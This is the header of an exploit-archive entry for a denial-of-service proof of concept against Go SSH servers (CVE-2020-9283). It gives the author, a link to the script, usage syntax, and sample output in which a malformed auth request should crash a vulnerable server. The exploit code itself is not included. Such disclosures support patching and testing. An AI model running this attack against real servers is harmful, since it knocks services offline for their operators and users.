# Exploit Title: Go SSH servers 0.0.2 - Denial of Service (PoC)
# Author: Mark Adams
# Date: 2020-02-21
# Link: https://github.com/mark-adams/exploits/blob/master/CVE-2020-9283/poc.py
# CVE: CVE-2020-9283
#
# Running this script may crash the remote SSH server if it is vulnerable.
# The GitHub repository contains a vulnerable and fixed SSH server for testing.
#
# $ python poc.py
# ./poc.py <host> <port> <user>
#
# $ python poc.py localhost 2022 root
# Malformed auth request sent. This should cause a panic on the remote server.
